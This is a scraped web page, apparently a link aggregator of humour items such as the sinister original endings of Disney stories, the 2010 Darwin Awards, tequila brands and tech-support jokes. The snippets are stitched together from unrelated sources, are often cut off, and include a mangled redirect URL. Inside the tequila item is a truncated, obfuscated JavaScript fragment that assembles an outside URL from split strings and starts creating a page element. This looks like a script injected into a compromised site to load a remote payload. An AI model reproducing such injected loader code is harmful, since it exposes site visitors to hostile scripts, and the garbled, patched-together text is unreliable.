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Angwe - The Amazing Mith Harbor Ganker. 7 Classic Disney Movies Based On R-Rated Stories. As happy as they were to give us the occasional nightmare, Disney's favorite way to misshape our world view was to coat classic stories in a suffocating saccharine wrapper, damning us all to a lifetime of naivety.

7 Classic Disney Movies Based On R-Rated Stories

But all you have to do is look at these (very real) original endings to tales Disney sanitized to be thankful for their protection, and baffled that they chose to adapt such horrifying stories to begin with ... The Jungle Book: Everybody Dies The Disney Happy Ending: The film follows Mowgli, a baby who winds up in the jungle and is befriended by talking predators. After avoiding the human world for years and spending most of his childhood being awesome in the jungle, Mowgli stumbles upon a village and is instantly smitten with some doe-eyed floozy. Www.stumbleupon.com/su/5ZZNgV/:BYSv3rdR:OB@5G4!h/www.trollzy.com/if-teachers-were-games-consoles_6178.html/

Farore's Withdrawl. Farore's Withdrawl October 8th, 2006 Beh, short lame cut-and-paste comic, sue me.

Farore's Withdrawl

20 Examples Of Video Game Logic. Bluntly spoken at Kartoen. Fine Print. 12 Video Game Characters With Undiagnosed Mental Disorders. Link is Creepy. Killer_Biscuits_.JPG from pra.to. Shitmydadsays (shitmydadsays) - shitmydadsays. Justin Samuel Halpern was born in a tiny fishing village called “San Diego.”

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There he spent most of his life being yelled at by his father. Then he transcribed those things on a twitter page called “@shitmydadsays.” Then he wrote a book of the same name. Then he co-created a shitty TV show of the same name. Then, when he had exploited the success of someone else’s words as much as he possibly could, he started this site with his long time friend and conspiracy theorist, Ryan Walter. Shit My Dad Says (13 Quotes) RoboDump 1.0. By Kevin Kelm (kkelm@triggur.org) Friday, Nov 12, 2004 RoboDump is a robot.

RoboDump 1.0

Sort of. And it poops. 8 Steps to Making a Super Cool Bulbasaur Costume. Beer-Troubleshooting-beer-pattern.jpg from sexcigarsbooze.com. Crazy Image: Words. Beer-Troubleshooting-beer-pattern.jpg (785×1567) THEY'RE HERE! 2010 DARWIN AWARDS - You've been waiting for them with bated breath, so without further ado, here are the 2010 Darwin Awards.

Eighth Place In Detroit, a 41-year-old man got stuck and drowned in two feet of water after squeezing head first through an 18-inch-wide sewer grate to retrieve his car keys. Seventh Place A 49-year-old San Francisco stockbroker, who "totally zoned when he ran", accidentally jogged off a 100-foot high cliff on his daily run. Sixth Place. Brands of Tequila. Spoiler Alert: All Tequila is bad tequila.))

Brands of Tequila

{u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createE Just The Facts There are several brands of tequila that vary in terms of both price and taste. You CAN find cheap tequila, but the taste is invariably awful, or, "poison-esque. " World’s weirdest hotels. The Greatest Craigslist Room Rental Ad Ever. Top 10 Hilarious Websites Of Human Misery. It’s seems like people have always been hardwired to laugh at the misfortune of others.

Top 10 Hilarious Websites Of Human Misery

It transcends all cultures, nations, and ages. As you read these words, a group of school kids in Hong Kong are peeing their pants laughing at a kid who did a faceplant into a mud puddle, somebody in Paris is guffawing at a guy getting a whifflebat to the crotch, and a grandma in Texas is chuckling under her breath at a cousin who doesn’t know his fly is undone. Operating Systems. Tech Support: "May I ask what operating system you are running today? "Customer: "A computer. " A girl walked into the computer center where I work. She said she was having problems with her Mac. I asked what kind of Mac she had. In an indignant voice, she replied, "Duh, Intosh. " Your everyday life stories.